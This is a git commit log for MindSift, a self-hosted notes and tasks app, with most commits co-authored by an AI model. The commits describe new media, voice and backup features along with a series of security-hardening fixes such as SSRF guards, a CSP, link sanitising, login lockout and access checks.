75 Commits
Author SHA1 Message Date
sandrodachandClaude Opus 5.5 ad614f1169 Merge branch 'dev' into main: v0.7.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m56s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 00:26:28 +01:00
sandrodachandClaude Opus 5.5 02ce554c02 chore(release): v0.7.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 9s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 00:26:26 +01:00
sandrodachandClaude Opus 5.5 4d1b37c956 feat(workspace): turn a branch into its own note, merge notes
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m56s
- Extract: button on the bullet (desktop) or /extract (/notiz). The bullet
  becomes the title (hashtags stay at the link), its children the content
  of a new note in the same folder with the source's shares (a foreign
  source owner gets write access); the branch becomes [[title]] through
  the operation log, so open editors follow.
- Merge: drop a note onto another in the sidebar or use "Mit anderer
  Notiz zusammenführen…" in the note header. The own source is appended
  as an h2 section with its bullets below and goes to the trash; the toast
  offers a complete undo.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 00:25:46 +01:00
sandrodachandClaude Opus 5.5 4c26eb2960 feat(workspace): link previews above bullets with a web address (M5)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m52s
- GET /link-preview?url= fetches the page on the server (https only,
  SSRF-guarded like webhooks), reads Open Graph/Twitter tags, title,
  description and icon from the head, loads picture and icon (no SVG) and
  keeps them in link_previews (migration 6) for 7 days; readers' browsers
  never contact the page. Off in the demo; 300 fetches per address in
  15 minutes.
- Compact card above the bullet (icon, site, title, one line, small
  picture); the duplicate link badge is left out.
- ✕ turns the address into [title](url), so hiding syncs with the note;
  "Link-Vorschauen anzeigen" under appearance switches all off per device.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 00:06:05 +01:00
sandrodachandClaude Opus 5.5 83408d120d fix(workspace): more room for notes on phones
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m57s
Almost no side margin, 14 px indent per level (22 px from tablet width
on), zoom and delete buttons only take width in the active row. Very deep
rows keep about 14rem and the note scrolls sideways instead of squeezing
the text.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 23:55:00 +01:00
sandrodachandClaude Opus 5.5 56c1fa02e6 feat(mail): sender display name (SMTP_FROM_NAME, default MindSift)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m54s
A bare SMTP_FROM address gets the display name in the From header; a name
already in SMTP_FROM wins, the envelope keeps the bare address. Also a
field in the admin mail settings.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 23:47:38 +01:00
sandrodachandClaude Opus 5.5 1632dd22c4 fix(workspace): English slash commands, short texts, wider menu
/image replaces /bild (aliases bild/foto keep working), shorter
descriptions for /link, /image, /audio, /diktat; the menu is wider, the
command never wraps and long descriptions are cut off.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 23:47:38 +01:00
sandrodachandClaude Opus 5.5 1f63e08a73 feat(media): images and recordings in backups, exports and imports (M6)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m52s
- Backup ZIP (download and automatic per-user server backups) carries the
  files of the user's own notes as media/<id><ext>; restoring creates
  them with new IDs and rewrites the blocks.
- Markdown archive puts them under attachments/ and embeds them relative
  to each note (![caption](../attachments/…)); re-importing turns them
  back into image/audio blocks.
- Obsidian import takes images and audio a note embeds on its own
  (![[file.png]], ![](path/file.png)); unused or invalid files appear as
  skipped in the preview instead of vanishing.
- Format detection and file paths moved into storage for this.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 23:41:26 +01:00
sandrodachandClaude Opus 5.5 3f2bc96732 feat(workspace): dictation via /diktat (M4)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m59s
/diktat (only in an empty bullet, only with voice input available)
listens right away; the bullet becomes one button with the live wave
across it and a translucent "Stopp" on top. A tap ends it and the
recognised text lands in the bullet as plain text. Uses the configured
speech recognition (own Whisper server or the browser); Esc cancels.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 23:30:15 +01:00
sandrodachandClaude Opus 5.5 3f5e3b2ac1 feat(workspace): voice notes via /audio (M3)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m10s
- /audio (only in an empty bullet) shows a recording bubble: green round
  button starts, it turns red with a live wave and timer on its left, a
  tap saves the recording as an inline audio player. An audio file can be
  uploaded instead; Esc/✕ restores the empty bullet.
- Chrome's WebM recordings get their length measured, so the player shows
  the total time and seeking works.
- With the own Whisper server "Transkribieren" turns the recording into
  the (searchable) caption.
- Loaded files keep their Blob, as the CSP rightly blocks fetch() on blob:
  URLs.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 23:23:54 +01:00
sandrodachandClaude Opus 5.5 e8fa14a4cb feat(workspace): image blocks via /bild (M2)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m18s
- /bild (only in an empty bullet) turns the bullet into an inline picker:
  file, camera on phones, drag & drop, paste, or an https link the server
  copies. Esc/✕ restores the empty bullet; nothing is synced before the
  upload succeeded.
- Photos are shrunk to 2048 px and stored as WebP (JPEG fallback); the
  re-encoding drops EXIF data such as the location.
- Image block: loaded with the login as blob URL, click opens full
  screen, optional caption kept in the block content
  (![caption](media:id)).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 23:14:08 +01:00
sandrodachandClaude Opus 5.5 177fa49363 feat(media): storage for images and audio in notes (M1)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m4s
- Table media (migration 5), files in $DATA_DIR/media/<docId>/.
- POST /documents/{id}/media (write access), POST .../media/fetch copies an
  external https image (SSRF-guarded, not in the demo), GET /media/{id}
  with range requests for readers of a note that shows the file.
- Format detected from the content (no SVG); own sandbox CSP on answers.
- Blocks point to files through their content (media:<id>), so the note
  sync needs no change; compaction removes files no block mentions any
  more after a day. Demo reset and demo start clear the folder.
- Limits MEDIA_MAX_IMAGE_MB, MEDIA_MAX_AUDIO_MB, MEDIA_QUOTA_MB,
  MEDIA_DEMO_MAX_MB.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 22:57:59 +01:00
sandrodachandClaude Opus 5.5 e385a44fb9 chore(docker): explanations in .env.example, whisper as commented block
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
- docker-compose.yml only maps variables; every variable is explained in
  .env.example (German, with defaults, units and choices).
- The whisper service is a commented block to switch on instead of a
  compose profile.
- TZ, TRUSTED_PROXIES, LOGIN_PROTECTION, DEMO_RESET_MINUTES and
  LEGAL_*_CONTENT are now passed through (they had no effect from .env).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 22:51:57 +01:00
sandrodachandClaude Opus 5.5 d396d42acf docs(changelog): hold-to-record cancels by dragging up
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 7s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 22:49:32 +01:00
sandrodachandClaude Opus 5.5 d52992afd2 Merge branch 'changelog_backlog' into dev
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 22:49:02 +01:00
sandrodachandClaude Opus 5.5 cc68d3f334 fix(workspace): keep the cursor in a block that turns into a code block
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m58s
Converting via /code or ``` swapped the text field for the code editor's
and left the focus nowhere, so further typing triggered app shortcuts.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 22:48:35 +01:00
sandrodach b624093980 docs(changelog): backfill release history from v0.1 to v0.5.2 2026-10-29 22:42:43 +01:00
sandrodachandClaude Opus 5.5 9124809f54 Merge branch 'feat/code-block' into dev
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 22:37:17 +01:00
sandrodachandClaude Opus 5.5 a9d0e49159 Merge branch 'feat/sidebar-explorer' into dev
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 22:37:17 +01:00
sandrodachandClaude Opus 5.5 7fa21e485b feat(voice): all microphone buttons use the server's speech recognition
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m56s
- New useVoiceInput hook (lib/voice.ts): "server" records with MediaRecorder
  and sends to /voice/transcribe, "browser" keeps the live recognition,
  "off" or missing browser support hides the microphone.
- Quick dump bar, mobile capture sheet and hold-to-record use it; live
  waves from the real input level (VoiceWave) and "Wird erkannt…".
- Recordings stop after STT_MAX_SECONDS.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 22:23:48 +01:00
sandrodach ff53f06991 feat(workspace): code block with language picker and live highlighting 2026-10-29 22:18:03 +01:00
sandrodachandClaude Opus 5.5 7801cd13b9 feat(voice): self-hosted speech recognition via Whisper (STT_*)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m49s
- STT_URL switches voice input to an OpenAI-compatible Whisper server
  (e.g. speaches); without it the browser's recognition stays. Configured
  by environment only, with limits for upload size, parallel jobs, hourly
  budget per user and timeout. The demo always uses the browser.
- POST /voice/transcribe forwards recordings and returns the text; nothing
  is stored. On startup MindSift waits for the server and asks it to
  download the model if missing.
- Admin card shows the active mode and server state, with a test recording.
- docker-compose: optional "whisper" service (speaches 0.8.3 CPU, profile
  "whisper", models in ./whisper).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 22:12:57 +01:00
sandrodach 9f3c78dde0 feat(workspace): sidebar as a plain file explorer 2026-10-29 22:08:35 +01:00
sandrodachandClaude Opus 5.5 230fb3c5aa Merge branch 'dev' into main: v0.6.1
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 21:20:03 +01:00
sandrodachandClaude Opus 5.5 6a5e82431f chore(release): v0.6.1
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m6s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 21:20:00 +01:00
sandrodachandClaude Opus 5.5 fbc404fea1 fix(notes): no self-conflicts when typing in a rhythm
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m51s
Several unsent text changes of one block were applied one by one to the
local view, numbering local versions ahead of the server, which folds them
into one change (formBatch). The focused field kept the inflated version as
base, so the next edit after a sync conflicted with the user's own text.
The local view now applies pending ops as they will be sent.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 21:13:02 +01:00
sandrodachandClaude Opus 5.5 c3b11318f4 Merge branch 'dev' into main: v0.6.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m54s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 20:41:01 +01:00
sandrodachandClaude Opus 5.5 b55334b163 chore(release): v0.6.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m8s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 20:40:59 +01:00
sandrodachandClaude Opus 5.5 090d11d4c3 refactor(capture): memoize writable lists in the capture bar
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 20:40:59 +01:00
sandrodachandClaude Opus 5.5 ef16778ef5 Merge branch 'feat/single-list-shortcut' into dev
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 20:36:11 +01:00
sandrodachandClaude Opus 5.5 9d9698186c fix(security): demo sends nothing, hidden SMTP password, body limits (FLAW-33..38)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m52s
- Demo: senders for mail, Discord and webhooks refuse, no alarm ticker;
  test alarm, SMTP test, server settings, backups, account and session
  changes of the shared demo accounts answer 403; the session list only
  shows the own device. The UI shows the notices and disables the controls.
- SMTP password is never sent back (smtpPassSet), empty keeps it.
- ?token= on webhook ingest accepts only API keys.
- Request bodies capped at 2 MB (sync 8 MB, imports 101 MB).
- Deleting an account removes its server backups.
- Backup downloads, exports and import uploads get 30 minutes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 19:43:23 +01:00
sandrodachandClaude Opus 5.5 3709282a4f fix(auth): longer IDs and invite codes, register limits, single-use invites (FLAW-32, FLAW-39, FLAW-40)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m2s
- NewID uses 96 random bits; invite codes get their own 100 bits in Base32.
- Registration and forgot-password are limited per address via loginGuard.
- The invite is claimed atomically before the account is created and
  released again when the account cannot be created.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 19:28:09 +01:00
sandrodachandClaude Opus 5.5 1af3a6e90a feat(auth): server-side sessions and current password for account changes (FLAW-30, FLAW-31)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m52s
- Every login is a session (device, IP, last use); the token's jti is its ID.
  Sessions end on logout, per device from the profile, or after 30 idle days.
- Tokens older than a day are renewed via the X-Session-Token header.
- Changing password or login e-mail needs the current password; a new
  password logs out all other devices and mails the old address.
- Demo reset keeps the demo visitors' sessions.
- revoked_tokens is replaced by sessions (migration 4); everyone is logged
  out once after the upgrade.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 19:25:22 +01:00
sandrodachandClaude Opus 5.5 b2ecda9896 fix(security): safe links and security headers (FLAW-28, FLAW-29)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m48s
safeHref lets only http, https and mailto become links (Markdown viewer,
outliner, legal links); javascript: and friends show as text. A
middleware sets a Content-Security-Policy (scripts only from MindSift,
no framing, connections only to this server), X-Frame-Options,
nosniff, Referrer-Policy and a Permissions-Policy. The two inline
scripts of index.html moved to files so script-src stays 'self'.

The second inline script also deleted every cache on each page load,
which undermined the offline start; it is gone.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 19:02:13 +01:00
sandrodachandClaude Opus 5.5 3ca4ff7bce chore: Semantic Versioning and a changelog from now on
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m50s
Tags become three-part (v0.6.0), the header shows the full version and
pre-release tags no longer move :stable. CHANGELOG.md (Keep a Changelog)
starts with an Unreleased section; older versions will be added from the
history. The quantity field opens the number keypad on phones.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 18:55:32 +01:00
sandrodach 3a27a37acb feat(triage): skip list selector when only one writable list exists 2026-10-29 18:49:35 +01:00
sandrodachandClaude Opus 5.5 ff27d07aa3 docs(flaws): FLAW-33 covers outgoing alarms of a public demo
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 9s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 18:39:20 +01:00
sandrodachandClaude Opus 5.5 1d5bb55049 Merge branch 'dev': v0.5.2
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m46s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 17:28:44 +01:00
sandrodachandClaude Opus 5.5 6cbfedd013 fix(lists): typing into the shopping list on phones
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m1s
The + button and the menu entry focused the new-item field 60 ms after
the tap; iOS only opens the keyboard for focus() inside the user gesture,
so the field was selected but nothing could be typed. Focus now happens
right in the tap. The list inputs use 16px on phones, so iOS no longer
zooms in and pushes the field under the keyboard. Version 0.5.2.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 17:28:43 +01:00
sandrodachandClaude Opus 5.5 d11ae4dcc6 Merge branch 'dev': v0.5.1
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m49s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 17:12:05 +01:00
sandrodachandClaude Opus 5.5 3c31a22ba0 fix(capture): + button opens the capture sheet again in triage and tasks
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m59s
Hold-to-record opened the sheet on pointerup; the click the browser sends
right after landed on the new sheet's backdrop and closed it at once.
Lists and notes have no such backdrop and kept working. A short tap now
opens on the click itself (as before), and after a hold that click is
ignored. Tests send the real pointerup + click sequence. Version 0.5.1.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 17:12:03 +01:00
sandrodachandClaude Opus 5.5 fcdf44a0ad docs: fresh review – new flaw list (FLAW-28 to 41) and feature ideas
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
The old list (FLAW-01 to 27) was done and is removed; references to it
in other documents are gone or replaced by the content. New findings
from a review after v0.5, among them a high one: javascript: links in
task notes run on click (Markdown viewer), which with the session in
localStorage allows taking over accounts through a shared task list.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 17:02:02 +01:00
sandrodachandClaude Opus 5.5 8052142f40 Merge branch 'dev': v0.5
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m45s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 16:54:11 +01:00
sandrodachandClaude Opus 5.5 13a7c9f08d release: v0.5 – security hardening, backups, demo reset, API key scopes, hold-to-record
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m0s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 16:54:09 +01:00
sandrodachandClaude Opus 5.5 373987292f fix(capture): hold-to-record works by keyboard, confirms only after saving; drop FLAW-16
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m43s
The + button lost its click handler for pointer events, so keyboard,
VoiceOver and switch control could no longer open the capture sheet; a
click without pointer (detail 0) now taps. "Im Quick Dump gespeichert"
appears after the save succeeded, and the cancel state uses an existing
border color. FLAW-16 (setup open until the first account, demo
accounts) is removed from the list: intended behaviour, not a flaw.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 16:35:26 +01:00
sandrodachandClaude Opus 5.5 ac2d9e1412 Merge branch 'feat/hold-to-record' into dev: hold the + button to record a thought
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 16:31:29 +01:00
sandrodachandClaude Opus 5.5 64e077dd57 feat(backup): admin and account UI for server backups, import by section
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m44s
Admin settings: switch, time, retention, list with download and a
"Jetzt sichern" button. Account settings: own server backups with
download and restore (replace or add, for chosen sections, replace needs
a second tap). The MindSift import gets the same section picker.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 16:11:49 +01:00
sandrodachandClaude Opus 5.5 c97765e08e feat(backup): daily server and user backups, restore by section (backend)
Admins switch automatic backups on, pick the time and the retention
(default 03:00, 3 days). Each run writes a gzip snapshot of the whole
database (VACUUM INTO, consistent while others write) and one MindSift
backup ZIP per active user below $DATA_DIR/backups, then deletes files
past the retention. A restart after the time catches up on that day.
Admins list, download and trigger runs; users list, download and restore
their own backups.

Import and restore can be limited to sections (notes, tasks, lists,
inbox, themes): restore only empties the chosen sections. Export and
import now carry custom themes. File names are checked against a fixed
pattern, so no other file can be fetched through the API.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 15:10:06 +01:00
sandrodachandClaude Opus 5.5 cab5a79f6d refactor(storage): one definition of task list access (FLAW-20)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m56s
accessibleTaskListsSQL in tasklists.go defines which task lists a user
can see; GetTaskLists, GetTaskListByID and the task queries use it
instead of three copies of the same subquery.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 15:05:05 +01:00
sandrodachandClaude Opus 5.5 0fdf46635b test(frontend): task dialog, sharing avatars, trash, API key scopes, passwords (FLAW-19)
Covers opening and closing the task dialog (the former hook-order bug),
date/time fields and the view-only mode for viewer lists, the avatar
stack of shared items, the two-tap delete in the trash, scope selection
and badges of API keys, and the shared password rule.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 15:03:54 +01:00
sandrodachandClaude Opus 5.5 4c50d15915 chore(frontend): real ESLint instead of a placeholder; fix hook order (FLAW-19)
eslint.config.js with the recommended JS/TypeScript rules and the React
hooks rules; npm run lint runs ESLint and is part of the image build.
Errors fail the build, the 24 exhaustive-deps findings stay warnings.

It found two real bugs: TaskDetailModal and ManageColumnsModal called
their hooks after 'if (!isOpen) return null', so the hook count changed
whenever the dialog opened or closed. Both are now a thin wrapper plus a
content component. Also removes unused imports and dead code (old task
list share handlers, an unused realtime status, an unused rollup).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 15:02:52 +01:00
sandrodachandClaude Opus 5.5 6b56a33500 fix(db): report write errors, multi-step changes all or nothing (FLAW-14)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m4s
Store.execInTx runs related statements in one transaction and returns
the first error. Used for deleting and moving folders (with the trash),
shared folders, folder shares and mounts, deleting task lists and
accounts, pinning, and the password reset (new password and the end of
all other links together). Writes whose success the API reports now
pass their error to the client (logout, new password, setup, sharing
mode, new group, restore, unlinking a note block), follow-up tasks and
alarm markers log failures. Remaining ignored writes are listed as
intentional in flaws.md.

Found on the way: DeleteTaskList unlinked all tasks before checking
ownership, so a stranger with the list ID could empty it; viewers could
unlink tasks from note blocks. Both fixed.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 14:59:23 +01:00
sandrodachandClaude Opus 5.5 792ca946f8 fix(db): transactions wait for the write lock instead of failing (FLAW-23)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 58s
A load test with 16 concurrent writers lost 12 of 480 writes with
SQLITE_BUSY: transactions that read before writing cannot be helped by
busy_timeout once another connection writes. _txlock=immediate makes
every transaction take the write lock at BEGIN, so it queues instead.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 14:51:01 +01:00
sandrodachandClaude Opus 5.5 dc44f8250c fix(db): numbered migrations that run once and fail loudly (FLAW-13)
schema_migrations records every applied step; the former migrate() is
step 3, the baseline that builds the v0.4.1 schema and repairs older
databases. Columns are only added when missing, so every other error now
stops the start with a clear message instead of being swallowed, and the
cleanup statements no longer run on each start. migrations/001_init.sql
was never read and is gone.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 14:49:35 +01:00
sandrodachandClaude Opus 5.5 f57a9884d1 fix(security): stream tickets instead of session tokens in URLs (FLAW-22)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m32s
WebSocket and EventSource put the 30-day session token into the URL,
where proxies log it. The app now gets a one-time ticket right before
connecting (POST /auth/stream-ticket, 60 s, bound to the token version);
?token= is no longer accepted for streams, non-browser clients may use
the Authorization header.

With BASE_URL set, CORS allows only that origin and WebSocket upgrades
only it or the requested host; credentials are off (no cookies exist).
Logout, ending all sessions, a new password and deactivation close all
live streams of the account; clients with a valid session reconnect
with a fresh ticket.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 14:46:58 +01:00
sandrodachandClaude Opus 5.5 5c711c2cf7 feat(api-keys): scopes for triage, tasks and list items (FLAW-07)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m33s
Keys get scopes when created (webhook:triage, webhook:task,
webhook:list; default triage, old keys become triage). The webhook
ingest learns target task (optional task list) and list_item (needs a
list the owner may write to); /inbox checks the scope of its target as
well; a missing scope answers 403. Keys can no longer open live streams,
which carried all of the owner's events.

The visible key UI lived in the account settings while EcosystemView
was never rendered; it is replaced by ApiKeysPanel in the settings with
scope chips, scope badges per key and a simulator for all three
targets. Examples send the key as X-API-Key header, not in the URL.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 14:36:17 +01:00
sandrodachandClaude Opus 5.5 3900c6104e fix(security): list items need write access to their list (FLAW-27)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 59s
Creating, checking, editing, deleting, reordering and clearing list
items did not check the list at all: any logged-in user with a list or
item ID could change it, viewers of shared lists as well. All item
endpoints and converting a thought into a list item now require owner
or editor rights and that the item belongs to the list (404 without
access, 403 for viewers).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 14:28:39 +01:00
sandrodach eabb018c64 feat(capture): hold mobile + button to record voice thoughts directly to inbox 2026-10-29 14:27:42 +01:00
sandrodachandClaude Opus 5.5 11c14fa9ff feat(auth): lock logins after repeated failures, trust proxies explicitly (FLAW-09)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 59s
Failed logins are counted per account+address (3), per account (20) and
per address (30) within 15 minutes; a full bucket answers 429 with
Retry-After for 15 minutes. Locking the account+address bucket first
means an attacker cannot lock the owner out from elsewhere. Unknown
names count like accounts. Success clears the account buckets, a
password reset (mail or admin) lifts the lock. LOGIN_PROTECTION=false
switches it off.

chi's RealIP believed X-Forwarded-For from anyone. The client address
now comes from the headers only when the connection is from a trusted
proxy: TRUSTED_PROXIES=private (default: loopback, Docker, LAN), all
(old behaviour), none, or CIDRs. A proxy that sends no client address
is logged once and per-address limits are skipped for it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 14:26:02 +01:00
sandrodachandClaude Opus 5.5 6b9eb62caf feat(demo): reset the demo instance every 20 minutes with a countdown
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m34s
DEMO_RESET_MINUTES (default 20, 0 = off) resets the database to the
sample data. Demo accounts get fixed IDs so sessions survive; requests
hold a read lock so the reset never runs under a half-finished request
(streams excluded). DEMO_RESET goes to every connection, /auth/status
announces the next reset. The app shows "✨ Demo · Reset in MM:SS" in
place of the version, then clears cached answers, remounts the views,
reloads in the background and shows a short notice; if no event
arrives (long polling) it asks the server after the countdown.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 14:22:06 +01:00
sandrodachandClaude Opus 5.5 afd3b0347c fix(ui): rounded-full wins over the theme radius on framed panels
The global rule giving .bg-panel.border the theme's card radius made the
round search button square in themes with 0px corners. Elements that ask
for rounded-full now stay round in every theme. Also marks FLAW-21 as
fixed (Unlicense is in the repository).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 14:16:31 +01:00
sandrodachandClaude Opus 5.5 6d6a35d28d fix(ui): tab counters 4px lower and further right
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m32s
Corner counters on tabs (header, task lists, lists, workspace) sat on
the tab's top border and close to the text; now -top-0.5 -right-2 with
pr-3 on the label. The mobile bottom bar keeps its icon placement.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 12:46:26 +01:00
sandrodachandClaude Opus 5.5 e7851f1257 feat(workspace): sidebar search opens the global search
The sidebar filter only matched titles and tags, never the bullets. It
is replaced by a search-field-like button that opens the command palette
(full-text search over all notes and bullets).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 12:44:40 +01:00
sandrodachandClaude Opus 5.5 4bf060b97e feat(ui): workspace tabs use the shared counter
To-Dos and Hashtags show a CountBadge on the label like all other tabs;
Notizen has no counter any more.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 12:44:07 +01:00
sandrodachandClaude Opus 5.5 c4fc455850 feat(ui): open list items counter on Listen, none on Workspace
New stat listItemsOpenCount: unchecked items in all lists the user sees
(own, shared directly or through a group), shown as accent counter on
Listen in the header and the mobile bottom bar. Workspace loses its
counter. Stats refresh on list events and after deleting an item.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 12:43:56 +01:00
sandrodachandClaude Opus 5.5 6d720c0c36 feat(ui): round icon-only search button in the title bar
The shortcut moves from the visible ⌘K badge into the tooltip.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 12:42:25 +01:00
sandrodachandClaude Opus 5.5 d1982816c1 fix(alarms): give up after three runs without delivery (FLAW-12)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m34s
New column alarm_failures counts ticker runs in which no channel
delivered; at three the alarm is marked as done and a warning is logged
instead of retrying every minute forever. Success, a new due date or
reopening the task starts over with three attempts.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 12:22:13 +01:00
sandrodachandClaude Opus 5.5 b5f926bcf7 fix(auth): new passwords need at least 8 characters (FLAW-09)
auth.ValidatePassword checks every way a password is set: setup,
registration, profile, admin create and reset, reset by mail. Same rule
in the browser before sending (lib/password.ts), with our own German
message instead of the browser popup. Existing shorter passwords still
log in. Profile and admin reset no longer trim the password, which made
passwords with surrounding spaces unusable for login.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 12:20:46 +01:00
sandrodachandClaude Opus 5.5 f8989d0c44 fix(theme): readable text on the Polarized teal accent
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m34s
White on #14b8a6 reaches only 2.5:1; dark teal #042f2e gives 5.8:1 for
primary buttons, counters and active filters.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 11:08:39 +01:00
sandrodachandClaude Opus 5.5 ee60a03e8c Merge branch 'theme/polarized-teal' into dev: Polarized in green/teal
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m36s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
